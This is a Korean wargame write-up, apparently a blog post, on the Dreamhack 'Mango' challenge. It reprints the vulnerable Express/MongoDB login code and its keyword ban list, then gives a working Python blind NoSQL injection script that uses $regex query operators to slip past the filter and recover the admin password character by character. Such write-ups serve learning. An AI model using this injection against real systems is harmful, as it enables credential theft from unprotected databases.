IT/Wargame

[Web Hacking] Mango

kykyky 2024. 7. 7. 11:23

>> 소스코드

const express = require('express');
const app = express();

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

app.listen(8000, '0.0.0.0');

 

>> 소스코드 분석

 

filter 함수: 

BAN의 금지어가 없으면 -> flag False 반환

 

login 함수:

GET request의 query를 통해 전달된 query parameter를 filter 함수로 검사하는데, 

금지어가 포함되어있으면 -> filter 함수 repsonse 후 종료

query parameter에서 uid, upw 추출 - 이때 type을 검사하지 않아서, 만약 이것이 object type이라면 쿼리 연산자를 사용할 수 있어 취약점 발생.

uid와 upw가 올바르게 일치하는 문서를 찾음 

에러 발생시 -> err 응답

실제로 있으면 -> uid 응답

결과 없으면 -> undefined

 

>> exploit

 

# 우선 이 소스코드는 MongoDB를 사용하며, 이 사이트에서 사용자가 알 수 있는 것은 단지 로그인에 성공했는지 여부 뿐이다.

따라서 한 글자씩 맞혀보는 Blind NoSQL injection을 수행해야 한다.

 

# Blind injection 코드 구성 

우선, 비밀번호의 길이는 32자이며 타입은 알파벳/숫자이다.

그리고, 소스코드에 따르면 이 서버의 /login으로의 요청은 url을 통한 GET 메소드로 가능한데,

{HOST}/login에 query parameter로서 uid와 upw를 전달해야 하므로,

결국

{HOST}/login?uid=☆&upw=♡

에 GET 요청을 보내면 된다.

 

# 위 요청의 결과를 어떻게 매 자리, 모든 종류의 글자에 대해 확인하는가?

i = 0 ~ 31에 대해 반복하여 모든 자리에 대해 확인하고,

각 자리에 대해서는 모든 알파벳/숫자 종류에 대해 확인해본다.

서버 소스코드에 의하면, admin으로 로그인을 성공하면 response에 admin을 반환하므로,  

response가 "admin"이면, 현재 글자를 확정하고 다음 글자를 맞추러 간다.

 

# 최종 exploit 코드 

import requests, string

HOST = 'http://host3.dreamhack.games:15087'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'

flag = ''

for i in range(32):
    for ch in ALPHANUMERIC:
        response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
        if response.text == SUCCESS:
            flag += ch
            break
    
    print(f'FLAG: DH{{{flag}}}')

위처럼 작성하면, 

맞춘 것은 {flag}를 통해 URL에 누적되므로, 한글자씩 맞춰갈 수 있다.

 

# 위 exploit 코드를 실행하면

'IT > Wargame' 카테고리의 다른 글

[Web Hacking] image-storage  (0) 2024.07.08
[Web Hacking] command-injection-1  (2) 2024.07.08
[Web hacking] simple_sqli  (0) 2024.07.07
[Web hacking] csrf-2  (0) 2024.07.06
[Web Hacking] csrf-1  (2) 2024.07.05